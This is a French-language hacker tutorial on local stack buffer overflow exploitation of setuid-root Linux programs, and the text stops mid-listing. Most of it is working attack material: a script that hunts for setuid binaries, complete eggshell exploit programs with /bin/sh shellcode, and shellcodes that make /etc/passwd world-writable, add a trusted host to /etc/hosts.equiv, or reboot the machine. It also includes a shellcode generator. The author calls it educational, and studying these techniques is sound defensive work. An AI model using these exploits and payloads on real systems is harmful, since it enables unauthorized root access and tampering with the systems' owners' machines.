BUFFER OVERFLOW By Lionel

 

I)-Intro
------------------------------------------------------------------------------------------------------------------

Pour comprendre ce texte, il faut s'y connaitre au minimum en C(voir asm)!
J'ai fais ce texte , car il n'y a pas vraiment de bon article à ce sujet en
francais.Ce texte n'est pas à un but de piratage mais pour "l'education"!
Dans ce texte vous trouverez comment exploiter un buffer,comment reparer ces
erreur de programmation, faire un shellcode ,quelques exemples.Exploiter un
programme sa sert (dans la plupart des cas)à gagner un access root alors que
normalement on a un access user simplement.

 

II)-Quelles sont les programmes dangereux pouvant etre exploités?
------------------------------------------------------------------------------------------------------------------

Je ne parlerais pas des possibilitées d'exploiter des programmes en
remote.(remote=à distance) On va faire simple et parler que des programmes
exploitables en local.Donc faut chercher des programmes qui a comme
"propriétaire et nom de groupe du propriétaire" root (uid/gid):

-rwsr-xr-x 1 root root 12648 May 9 1998 /bin/su*

Voici un petit script qui va faire se travail à votre place:

---DBT---
#!/bin/sh
echo "OrganiKs Crew"
find /bin -user root -perm +a=s > suid.lst
find /sbin -user root -perm +a=s >> suid.lst
find /usr/bin -user root -perm +a=s >> suid.lst
find /etc -user root -perm +a=s >> suid.lst
find /var -user root -perm +a=s >> suid.lst
echo "see in suid.lst for the list..."
---EOF---

 

III)-Comment savoir si le programme à un trou de securité?
------------------------------------------------------------------------------------------------------------------

1). Pour savoir si ton programme peut etre exploitable fais:

[shell]$/bin/prog -option `perl -e 'print "A" x 2000'`

ou alors avec les sources du programme:

[shell]$ grep 'strcpy\|strcat\|sprintf\|gets\|scanf' *.c

2). Exemple:

[shell]$cat > exemple.c
main(int argc, char *argv[])
{
char buffer[1000];
strcpy(buffer, argv[1]);
}
[shell]$gcc -static exemple.c -o exemple
[shell]$exemple `perl -e 'print "A" x 2000'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LC_ALL = (unset),
LANG = "fr"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
Segmentation fault (core dumped)
[shell]$

Quelques explications avant de continuer.
1000 est la taile du buffer à faire debordé.
On compile avec l'option -static pour pouvoir lire le prog avec gdb.
Exemple `perl -e 'print "A" x 2000'` on fait sa pour voir si on peut faire
debordé le buffer! Si cela est possible le programme plante:"Segmentation
fault (core dumped)".Cela est normale vu que la taille du buffer est de
1000caracteres max et nous nous y mettons 2000caracteres!

Bon maintenent que l'on sais que on peut le faire debordé:

[shell]$gcc -S exemple.c
[shell]$more exemple.s
.file "exemple.c"
.version "01.01"
/ GNU C version egcs-2.90.27 980315 (egcs-1.0.2 release) (i586-pc-linux-gnu) compiled by GNU C version 2.7.2.3.
/ options passed:
/ options enabled: -fpeephole -ffunction-cse -fkeep-static-consts
/ -fpcc-struct-return -fcommon -fverbose-asm -fgnu-linker -fargument-alias
/ -m80387 -mhard-float -mno-soft-float -mieee-fp -mfp-ret-in-387
/ -mschedule-prologue -mcpu=pentium -march=pentium
gcc2_compiled.:
.text
.align 4
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
subl $1000,%esp
movl 12(%ebp),%eax
addl $4,%eax
movl (%eax),%edx
pushl %edx
leal -1000(%ebp),%eax
pushl %eax
call strcpy
addl $8,%esp
.L1:
movl %ebp,%esp
popl %ebp
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) egcs-2.90.27 980315 (egcs-1.0.2 release)"
[shell]$
On regarde ,subl $1000,%esp c'est la taille du buffer.
Donc on note buff_size=1000
[shell]$gdb exemple
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break main
Breakpoint 1 at 0x8048179
(gdb) run
Starting program: /home/Lionel/exemple
Breakpoint 1, 0x8048179 in main ()
(gdb) info registers
eax 0x8059e70 134585968
ecx 0xbffffc85 -1073742715
edx 0x0 0
ebx 0x8097fa0 134840224
esp 0xbffff8e0 0xbffff8e0
ebp 0xbffffcc8 0xbffffcc8
esi 0x1 1
edi 0x8097b80 134839168
eip 0x8048179 0x8048179
eflags 0x282 642
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
The program is running. Exit anyway? (y or n) y
[shell]$
Donc la on recherche %ebp -> ebp 0xbffffcc8 0xbffffcc8
0xcc8-4=0xcc4 en hex = 3268 en dec
OFFSET=3268

 

IV)-Config de notre exploit
------------------------------------------------------------------------------------------------------------------

/*
De plus, lorsque tu coderas un exploit en remote
tu devras savoir que l'addr. de %esp est quasiment
toujours la meme pour un OS donne.
Ainsi, tu calculeras :

addr. ret = taille buffer + 2 * 4 ( sur x86)
addr. ret = taille buffer + 2 * 8 ( sur sparc)
[ Commentaires ajoutes par Mr_Ank <ank0u@usa.net> ]
*/

porgs:

---DBT---

/*
FILE: generic_egg_exploit.c
AUTH: spyjure (spyjure@spyjurenet.com)
INFO: generic eggshell program
USAGE: compile: gcc generic_egg_exploit.c -o generic_egg_exploit
./generic_egg_exploit <target> [bsize] [offset] [eggsize]
*/

#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1021
#define DEFAULT_EGG_SIZE 4096
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize, offset, eggsize;
int i;
int shell_len = strlen(shellcode);
char *target;
char *args[3];
char *env[2];
if(argc > 1) target = argv[1];
else
{
printf("Usage: %s target [bsize] [offset] [eggsize]\n");
exit(-1);
}
bsize = (argc > 2) ? atoi(argv[2]) : DEFAULT_BUFFER_SIZE;
offset = (argc > 3) ? atoi(argv[3]) /*+ strlen(argv[1])*/ : DEFAULT_OFFSET;
eggsize = (argc > 4) ? atoi(argv[4]) : DEFAULT_EGG_SIZE;
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
for(i = 0; i < eggsize; i++) egg[i] = NOP;
ptr = egg + (eggsize) - (shell_len) - 1;
for(i = 0; i < shell_len; i++) *(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
buff[bsize - 1] = '\0';
printf("sp=%lx addr=%lx env=%lx\n", get_sp() - offset, addr, getenv("EGG"));
memcpy(buff,"RET=",4);
putenv(buff);
args[0] = argv[1]; /*"/usr/sbin/traceroute";*/
---EOF---

Le code ci dessous est fait pour get_offset...

---DBT---

/******************************************************************************

FILE: gee_multiparam.c
AUTH: spyjure (spyjure@spyjurenet.com)
INFO: Generic Eggshell Exploit capable of handling multiple
parameters for the target application.
USAGE: compile: gcc gee_multiparam.c -o gee_multiparam
./gee_multiparam <target> [bsize] [offset] [eggsize] [extraparameters]
The extra parameters must be at the end of the line, and if
applicable, the parameter to be overflowed must be the last
parameter in the list.

Example:

./gee_multiparam msgchk 1025 0 4096 -host
This will overflow the -host parameter and (hopefully) give you root.
THANKS: Aleph One for his tutorial on buffer overflows.
Check out http://spyjurenet.com for more security information!
*******************************************************************************/
#include <stdlib.h>
#define DEBUG /* To get debug info (golly! :) */
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1021
#define DEFAULT_EGG_SIZE 4096
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize, offset, eggsize;
int i, j;
int shell_len = strlen(shellcode);
char **args;
char *env[2];
if(argc < 2)
{
printf("Usage: %s target [bsize] [offset] [eggsize]\n", argv[0]);
exit(-1);
}
bsize = (argc > 2) ? atoi(argv[2]) : DEFAULT_BUFFER_SIZE;
offset = (argc > 3) ? atoi(argv[3]) : DEFAULT_OFFSET;
eggsize = (argc > 4) ? atoi(argv[4]) : DEFAULT_EGG_SIZE;
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(-1);
}
if(!(egg = malloc(eggsize)))
{
printf("Can't allocate memory.\n");
exit(-1);
}
/* Create the egg. To do this, we create a buffer eggsize in length filled
* with NOPs. Then we put our shell code at the very end of it and be sure
* to NULL terminate it. The NULL isn't for our shell to work; it's for
* the putenv to work properly.
*/
for(i = 0; i < eggsize; i++) egg[i] = NOP;
ptr = egg + eggsize - shell_len - 1;
for(i = 0; i < shell_len; i++) *ptr++ = shellcode[i];
egg[eggsize - 1] = '\0';
/* Create the parameter overflow. We create a parameter for our target
* program which overflows a buffer inside the target. The value of this
* parameter is simply a repeat of the same number over and over. The
* number we are repeating is a pointer to the egg we created above. When
* the target program overflows its buffer and tries to return from the
* function, it gets its return value from this buffer, which points to the
* eggshell above, executing our command and giving us a shell!
*/
addr = get_sp() - offset; /* our return address */
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i < bsize; i+=4) /* Fill the buffer with the address */
*addr_ptr++ = addr;
buff[bsize - 1] = '\0'; /* NULL terminate everything, stupid. */
#ifdef DEBUG
/* Just some nice debug info, if you're interested. */
printf("sp=%lx addr=%lx\n", get_sp() - offset, addr);
#endif
/* Construct the command line for our target program. If the user supplied
* additional parameters for the target, add them into our list.
*/
j = 0;
/* Allocate space for the parameters. If we have extra parameters, they
* will be the ones after space 5 on our command line. In addition, we
* always need 3 -- the target program, our overflow parameter, and NULL.
*/
args = (char**)malloc(sizeof(char*) * ((argc > 5) ? argc - 5 + 3 : 3));
args[j++] = argv[1]; /* The name of the target goes first */
/* Now add additional parameters */
if(argc > 5)
{
for(i = 5; i < argc; i++)
{
args[j++] = argv[i];
}
}
args[j++] = buff; /* Our commandline overflow */
args[j] = NULL; /* NULL terminate the list */
/* If the target program needs more environmental variables,
* add them here. (If you need help, email spyjure@spyjurenet.com.)
*/
env[0] = egg;
env[1] = NULL;
#ifdef DEBUG
printf("Command line:\n");
for(i = 0; i < j; i++)
{
printf("%s ", args[i]);
}
printf("\n\n");
#endif
execve(args[0], args, env);
}
---EOF---

---DBT---
/*
FILE: get_offset.c
AUTH: spyjure (spyjure@spyjurenet.com)
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
void (*shell)(); /* = getenv("EGG"); */
shell = (argc > 1) ? *((long*)argv[1]) : getenv("EGG");
printf("EGG=%lx SHELL=%lx\n", getenv("EGG"), shell);
printf("OFFSET=%d\n", (long)shell - (long)getenv("EGG")
/*- strlen(argv[0])*/);
{ printf("Attempting to run shell code...\n");
(*shell)();
}
}
---EOF---

EGG=4096
BUFFER=1000+16=1016
OFFSET=3272
[shell]$./generic_egg_exploit get_offset buffer offset egg
donc
[Lionel@localhost overflow_exploits]$ ./generic_egg_exploit get_offset 1016
3268 4096
sp=bfffef28 addr=bfffef30 env=804ae94
EGG=bfffeff5 SHELL=bfffef30
OFFSET=-197
Attempting to run shell code...
Illegal Instruction (core dumped)
[shell]$
OFFSET=-197
[shell]$ ./generic_egg_exploit exemple 1016 -201 4096
sp=bffffcb1 addr=bffffcb9 env=804ae94
bash$

 

V)-Shellcode
------------------------------------------------------------------------------------------------------------------

Un shellcode c'est une commande en asm en faite un shellcode ca veus dire rien
de plus que code shell(code qui run un shell).Sauf que au lieu de faire un
prog en c qui run un shell on va le mettre en asembleur.Un shellcode ne sert
pas que pour les codes d'exploit pour les buffer overflows , il peuve servire
a plein d'autre chose.Je conte faire un autre article a ce sujet...
Comme je dis toujours faut pas se faire "chier" dans la vie.
Voici quelques shellcodes et un generateur de shellcode:

shellcode:

---DBT---
/*
[ http://www.rootshell.com/ ]
asmcodes.txt
*/
/* This one changes the mode on /etc/passwd to 777 */
char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x1d"
"\x01\xfb\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\xff\x01\x31\xc0\xb0"
"\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61"
"\x73\x73\x77\x64\x89\xec\x5d\xc3";
/* This one creates /etc/hosts.equiv with a host called b00ger */
char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35"
"\x01\xfb\x31\xc0\x88\x43\x10\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba"
"\xa4\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x46\x01\xf9\x31"
"\xd2\xb2\x07\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65"
"\x74\x63\x2f\x68\x6f\x73\x74\x73\x2e\x65\x71\x75\x69\x76\x01\x62\x30"
"\x30\x67\x65\x72\x0a\x89\xec\x5d\xc3";
/* This one is useless: it just changes the hostname to yEw_r_0wn3d */
char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff"
"\x31\xc0\xb0\x4a\x31\xdb\xb3\x16\x01\xfb\x31\xc9\xb1"
"\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x79\x45\x77\x5f"
"\x72\x5f\x30\x77\x6e\x33\x64\x89\xec\x5d\xc3";
/* This is also useless: it just reboots an x86 machine */
char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff"
"\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0"
"\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28"
"\xba\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01"
"\xcd\x80\x89\xec\x5d\xc3";
-- Source code --
# changes mode on /etc/passwd to 777
# making it writeable by anyone.
jmp rootshell
hey:
popl %edi
jmp yo
rootshell:
call hey
yo: # yo! w3rD!
# chmod() is system call 15 (0xf)
# (see /usr/include/asm/unistd.h)
# eax contains syscall number
xorl %ebx,%ebx # ebx has path to file
movb $(phile-yo),%bl
addl %edi,%ebx
xorb %al,%al # clear out al
movb %al,11(%ebx) # length of filename (11)
xorl %ecx,%ecx # clear out ecx
movw $00777,%cx # ecx contains mode 777
xorl %eax,%eax # clear out eax
movb $0xf,%al # syscall 15 (0xf) is chown
int $0x80 # interrupt (make call)
xorl %eax,%eax # clear eax
movb $0x01,%al # syscall 1 (0x01) is exit
int $0x80 # interrupt (make call)
phile:
.ascii \"/etc/passwd\" # /etc/passwd (11)

-------------------------

# Creates the file /etc/hosts.equiv if it does
# not exist (or appends to if it does) and will
# insert the host: b00ger
# changing this should be trivial
jmp rootshell
coded_by_bmV:
popl %edi
jmp phoo
rootshell:
call coded_by_bmV
phoo: # ok. I meant 'foo'
# open() is system call 5
# (see /usr/include/asm/unistd.h)
# eax contains syscall number
# ebx will have filename
# ecx contains open flags
# edx contains mode of file
# ->file is handle returned to eax
xorl %ebx,%ebx # clear ebx
movb $(file-phoo),%bl # filename to open in ebx
addl %edi,%ebx
xorl %al, %al # clear out al
movb %al,16(%ebx) # /etc/hosts.equiv (16)
xorl %ecx,%ecx # clear out ecx
movw $0x441,%cx # O_WRONLY | O_CREAT | O_APPEND
xorl %edx,%edx # clear out edx
movw $00644,%dx # mode 0644 -rw-r--r--
xorl %eax,%eax # clear eax
movb $0x5,%al # syscall 5 (0x5) is open()
int $0x80 # interrupt (make call)
# write() is system call 4
# (see /usr/include/asm/unistd.h)
# eax contains syscall 4 (write)
# ebx will have file handle
# ecx will point to "b00ger"
# edx is strlen("b00ger");
movl %eax,%ebx # move file handle to ebx
xorl %ecx, %ecx # clear out ecx
movb $(string-phoo),%cl # put "b00ger" in ecx
addl %edi,%ecx
xorl %edx,%edx # clear edx
movb $7,%dl # strlen("b00ger") ==7
xorl %eax,%eax # clear out eax
movb $0x04,%al # syscall 4 is write()
int $0x80 # interrupt (make call)
xorl %eax,%eax # clean out eax
movb $0x01,%al # syscall 1 (0x01) is exit()
int $0x80 # interrupt (make call)
# exit() should close file
file:
.ascii \"/etc/hosts.equiv\"
.byte 1
string:
.ascii \"b00ger\n\"

-------------------------

# written just for grins ;-)
# code to change to hostname of the
# target machine to: yEw_r_0wn3d
# Yes, I know this is useless :P
jmp rootshell
by_bm5:
popl %edi
jmp asmcode
rootshell:
call by_bm5
asmcode: # assembly code ?
# 74 (0x4a) is sethostname()
# (see /usr/include/asm/unistd.h)
# eax will have syscall 74
# ebx points to "yEw_r_0wn3d"
# ecx= strlen("yEw_r_0wn3d")==11
xorl %eax,%eax # clear out eax
movb $0x4a,%al # move 74 (sethostname()) to al
xorl %ebx,%ebx # clear out ebx
movb $(string-asmcode),%bl # put yEw_r_0wn3d in ebx
addl %edi,%ebx
xorl %ecx,%ecx # clear out ecx
movb $0x0b,%cl # strlen("yEw_r_0wn3d")==0xb
int $0x80 # interrupt (make call)
xorl %eax,%eax # clear out eax
movb $0x01,%al # syscall 1 (0x01) is exit()
int $0x80 # interrupt (make call)
.byte
string:
.ascii \"yEw_r_0wn3d\"

-------------------------

# reboots a Linux x86 box
# also quite useless, but
# good for learning.
jmp rootshell
coded_by_bmV:
popl %edi
jmp reb00t
rootshell:
call coded_by_bmV
reb00t: # reboot Linux
# sync() is syscall 36
# (see /usr/include/asm/unistd.h)
xorl %eax,%eax # clear out eax
movb $0x24,%eax # make syscall to sync()
int $0x80 # interrupt (make call)
# reboot() is syscall 88 (0x58)
# (see /usr/include/asm/unistd.h)
# eax contains syscall 88 (reboot)
# ebx will contain magic
# ecx will contain magic2
# (see manual page for reboot)
xorl %eax,%eax # clear out eax
movb $0x58,%eax # move 88 (reboot()) to eax
movl $0xfee1dead,%ebx # put magic into ebx
movl $672274793,%ecx # put magic2 into ecx
movl $0x1234567,%edx # put flag into edx
# read reboot manpage!
int $0x80 # interrupt (make call)
xorl %eax,%eax # clear out eax
movb $0x01,%al # syscall 1 (0x01) is exit()
int $0x80 # interrupt (make call)

-------------------------

---EOF---

generateur de shellcode:

---DBT---
/*
*
* shellcode 1 - (Nov 25, 1998)
*
* this proggie generates a binary execve code for any commands
* with any arguments. it shows the asm and hex code of execve
* wanted. both outputs asm and hex code can be executed on the
* stack. for example, you can use it when you want to exploit
* a buffer overrun situation on linux.
*
* any comments and sugestions to jamez@sekure.org
*
*
* thanks for all people from sekure sdi(www.sekure.org)
*
*
*/
#include <stdio.h>
#define MAX_PARAM 100
int hexcode[4086]; /* hex code for exeve */
int hexsize = 0; /* size of hex code */
char asmcode[4096]; /* asm code for exeve */
char aux[1024]; /* aux string */
char params[1024]; /* parameters including program name */
void asmcat(char * s) {
strcat(asmcode, s);
}
void addasm(char * fmt, int addr) {
sprintf(aux, fmt, addr);
strcat(asmcode, aux);
}
void addhex(int hex) {
hexcode[hexsize] = hex;
hexsize++;
}
void printhex() {
int i;
char s[10];
printf("\n-----------------( hex code )--\n\n");
printf("char shellcode[] = \n");
printf("\t\"");
for(i = 0; i < hexsize; i++) {
if((i - i/12 * 12) == 0 && i != 0) {
printf("\"\n");
printf("\t\"");
}
if(hexcode[i] < 16 && hexcode[i] >= 0)
printf("\\x0%x", hexcode[i]);
else
if(hexcode[i] > 0)
printf("\\x%x", hexcode[i]);
else {
sprintf(s, "%x", hexcode[i]);
printf("\\x%c", s[6]);
printf("%c", s[7]);
}
}
printf("%s\"\n", params);
}
int main(int argc, char * argv[]) {
int i, /* some for's */
jmp, /* how many bytes to jmp to get call instruction */
num_params, /* how many parameters */
size = 0; /* size of the whole command */
int nulls[MAX_PARAM]; /* where the null bytes go */
if(argc == 1) {
printf("\nshellcode, first version. (Nov 25, 1998)\n\n");
printf(" this proggie generates a binary execve code for any commands\n");;
printf(" with any arguments. it shows the asm and hex code of execve\n");
printf(" wanted. both outputs asm and hex code can be executed on the\n");
printf(" stack. for example, you can use it when you want to exploit\n");
printf(" a buffer overrun situation on linux.\n\n");
printf(" it's a jamez product. jamez@sekure.org\n");
printf(" sekure sdi - www.sekure.org\n\n");
printf(" - usage: %s path+program [first arg] [second arg] ...\n\n", argv[0]);
exit(0);
}
num_params = argc - 1;
/* parse out the parameters */
params[0] = '\0';
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
size += strlen(argv[i+1]) + 1; /* plus one to the null end */
strcat(params, argv[i + 1]);
nulls[i] = strlen(params);
strcat(params, "\x20");
}
params[size-1] = '\0';
/* create the asm code */
hexcode[0] = '\0';
asmcode[0] = '\0';
jmp = 22 + 3 + (num_params-1)*6 + 3*num_params + 3;
addhex(0xeb);
addhex(jmp);
addasm("\tjmp 0x%x\n", jmp);
addhex(0x5e);
asmcat("\tpopl %esi\n"); /* popl %esi */
/* fill char * array w/ addr's */
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
if(i == 0) {
addasm("\tmovl %%esi,0x%x(%%esi)\n", size);
addhex(0x89);
addhex(0x76);
addhex(size);
}
else {
addhex(0x8d);
addhex(0x5e);
addhex(nulls[i-1]+1);
addasm("\tleal 0x%x(%%esi),%%ebx\n", nulls[i-1]+1);
addhex(0x89);
addhex(0x5e);
addhex(size + i*4);
addasm("\tmovl %%ebx,0x%x(%%esi)\n", size + i*4);
}
}
addhex(0x31);
addhex(0xc0);
asmcat("\txorl %eax,%eax\n");
/* put null at the of strings */
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
addhex(0x88);
addhex(0x46);
addhex(nulls[i]);
addasm("\tmovb %%eax,0x%x(%%esi)\n", nulls[i]);
}
addhex(0x89);
addhex(0x46);
addhex(size + 4*num_params);
addasm("\tmovl %%eax,0x%x(%%esi)\n", size + 4*num_params);
addhex(0xb0);
addhex(0x0b);
asmcat("\tmovb $0xb,%al\n");
addhex(0x89);
addhex(0xf3);
asmcat("\tmovl %esi,%ebx\n");
addhex(0x8d);
addhex(0x4e);
addhex(size);
addasm("\tleal 0x%x(%%esi),%%ecx\n", size);
addhex(0x8d);
addhex(0x56);
addhex(size + 4*num_params);
addasm("\tleal 0x%x(%%esi),%%edx\n", size + 4*num_params);
addhex(0xcd);
addhex(0x80);
asmcat("\tint $0x80\n");
addhex(0x31);
addhex(0xdb);
asmcat("\txorl %ebx,%ebx\n");
addhex(0x89);
addhex(0xd8);
asmcat("\tmovl %ebx,%eax\n");
addhex(0x40);
asmcat("\tinc %eax\n");
addhex(0xcd);
addhex(0x80);
asmcat("\tint $0x80\n");
addhex(0xe8);
addhex((jmp+5) * -1);
addhex(0xff);
addhex(0xff);
addhex(0xff);
addasm("\tcall -0x%x\n", jmp+5);
asmcat("\t.string \\\"");
asmcat(params);
asmcat("\\\"");
printf("\n-----------------( asm code )--\n\n");
printf("int main() {\n");
printf("\t__asm__(\"\n");
printf("%s\");\n", asmcode);
printf("}\n");
printhex();
printf("\n\n(by jamez for your profit)\n\n");
}
---EOF---

Bon je vais essayé de vous expliquez comment faire un shellcode , vue que mes
connaissance en la matiere ne sont pas tres etendu vous me pardonerez pour mes
fautes:
1) les fichiers Source ( *.S )

------------------------------

En se moment je vous pas mal de shellcode qui sont en format source et donc il
faut vous demerdez vous meme pour les mettrent dans un format lisible pour
votre exploit...
Le plus souvent sous un format *.S (ex: ps.S).Je vais vous
expliquer comment faire pour obternir un shellcode style "/x80/x80/x80" ,en
faite c'est tres simple:
-il suffi de faire cette commande sur un shell:"as -a
-o fichier.o fichier.S > fichier.asm"
Puis apres avoir fait cela vous ouvrez fichier.asm:

/* fichier.asm */

GAS LISTING fichier.S page 1

1 .globl main

2 main:

3 0000 31DB xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */

4 0002 89D8 movl %ebx,%eax /* zero out the %eax register */

5 0004 B017 movb $0x17,%al /* set the syscall number */

6 0006 CD80 int $0x80 /* call the interrupt handler */

GAS LISTING fichier.S page 2

DEFINED SYMBOLS

fichier.S:2 .text:00000000 main

NO UNDEFINED SYMBOLS

/* fin */

Maintenant nous allons garder juste la 3eme colone qui nous interesse:

31DB

89D8

B017

CD80

Donc maintenant que l'on a ces caracteres hex on va les mettre en format

lisible:

char fichiercode[]=

"\x31\xDB\x89\xD8\xB0\x17\xCD\x80";

Comme vous pouvez le voir on prend les caracteres hex 2 par 2 "x31" qui reviens

a "0x31" et on les mets a la suite comme ci dessus "\x31\xDB\..\x80".

Jusqu'a la c'est simple apres nous voulons verifié notre shellcode fini donc

on va le mettre dans un "concepte" en "c":

/* fichier.c */

char shellcode[]=

"\x31\xDB\x89\xD8\xB0\x17\xCD\x80";

void main()

{

int *ret;

printf("OrganiKs Crew\n");

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

/* fichier.c */

Ce code est un code pour exploit de wu-ftp par exemple(il sert a reprendre le

root privilege "setuid").

2)Pour s'aider pour le porchain chapritre:

------------------------------------------

La ca deviens chaud :)

Mieux vaut connaitre les bases de l'asm (moi meme j'ai du lire quelques docs

avant de comprendre)

.

En premier il faut ecrire un code en c:

#include <stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

puis tu le compile en static:

[Lionel@OrganiKs]$ gcc -static -o shell shell.c

[Lionel@OrganiKs]$ gdb shell

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048170 <main>: pushl %ebp /* met %ebp sur la pile */

0x8048171 <main+1>: movl %esp,%ebp /*copie esp dans ebp */

0x8048173 <main+3>: subl $0x8,%esp /* enleve 0x8 a esp */

0x8048176 <main+6>: movl $0x8059ecc,0xfffffff8(%ebp) /* copie l'adresse

du shell dans ebp*/

0x804817d <main+13>: movl $0x0,0xfffffffc(%ebp)

0x8048184 <main+20>: pushl $0x0 /* met 0x0 sur la pile */

0x8048186 <main+22>: leal 0xfffffff8(%ebp),%eax

0x8048189 <main+25>: pushl %eax /* met eax sur la pile */

0x804818a <main+26>: movl 0xfffffff8(%ebp),%eax

0x804818d <main+29>: pushl %eax /* met eax sur la pile */

0x804818e <main+30>: call 0x804d510 <execve> /* renvoie sur execve */

0x8048193 <main+35>: addl $0xc,%esp /* ajoute 0xc dasn esp */

0x8048196 <main+38>: movl %ebp,%esp /* copie ebp dans esp */

0x8048198 <main+40>: popl %ebp /* prend ebp dasn la pile */

0x8048199 <main+41>: ret

0x804819a <main+42>: nop

0x804819b <main+43>: nop

End of assembler dump.

(gdb) disassemble execve

Dump of assembler code for function execve:

0x804d510 <execve>: pushl %ebx /* met ebx sur la pile */

0x804d511 <execve+1>: movl 0x10(%esp,1),%edx

0x804d515 <execve+5>: movl 0xc(%esp,1),%ecx

0x804d519 <execve+9>: movl 0x8(%esp,1),%ebx

0x804d51d <execve+13>: movl $0xb,%eax /* copie 0xb dans eax */

0x804d522 <execve+18>: int $0x80 /* initialise */

0x804d524 <execve+20>: popl %ebx /* prend l'adresse ebx dans la pile */

0x804d525 <execve+21>: cmpl $0xfffff001,%eax

0x804d52a <execve+26>: jae 0x804d730 <__syscall_error> /* envoie sur

__syscall_error si 0xfffff001>=%eax */

0x804d530 <execve+32>: ret

0x804d531 <execve+33>: nop

0x804d532 <execve+34>: nop

0x804d533 <execve+35>: nop

0x804d534 <execve+36>: nop

0x804d535 <execve+37>: nop

0x804d536 <execve+38>: nop

0x804d537 <execve+39>: nop

0x804d538 <execve+40>: nop

0x804d539 <execve+41>: nop

0x804d53a <execve+42>: nop

0x804d53b <execve+43>: nop

0x804d53c <execve+44>: nop

0x804d53d <execve+45>: nop

0x804d53e <execve+46>: nop

0x804d53f <execve+47>: nop

End of assembler dump.

(gdb) disassemble __syscall_error

Dump of assembler code for function __syscall_error:

0x804d730 <__syscall_error>: negl %eax

End of assembler dump.

(gdb)

Bon maintenant on va faire un fichier *.S.

/* shell.s */

.global _start

_start:

jmp call /* envoie sur call */

main:

/* main */

popl %esi /* prend l'adresse de /bin/sh */

subl $0x8,%esp /* code gdb */

movl %esi,0xfffffff8(%ebp) /* copie l'adresse /bin/sh dans %ebp */

movl $0x0,0xfffffffc(%ebp)

pushl $0x0

leal 0xfffffff8(%ebp),%eax

pushl %eax

movl 0xfffffff8(%ebp),%eax

pushl %eax

call exec /* envoie sur exec */

addl $0xc,%esp

movl %ebp,%esp

popl %ebp

exec:

pushl %ebx

movl 0x10(%esp,1),%edx

movl 0xc(%esp,1),%ecx

movl 0x8(%esp,1),%ebx

movl $0xb,%eax

int $0x80

popl %ebx

cmpl $0xfffff001,%eax

jae exit /* envoie sur exit si 0xfffff001>=%eax */

exit:

negl %eax

call:

call main /* envoie sur main */

.string "/bin/sh"

/* fin shell.S */

Apres ca on enleve le code inutil:

/* shell2.S */

.global _start

/* envoie sur call */

_start:

jmp call

main:

/* main */

popl %esi

subl $0x8,%esp

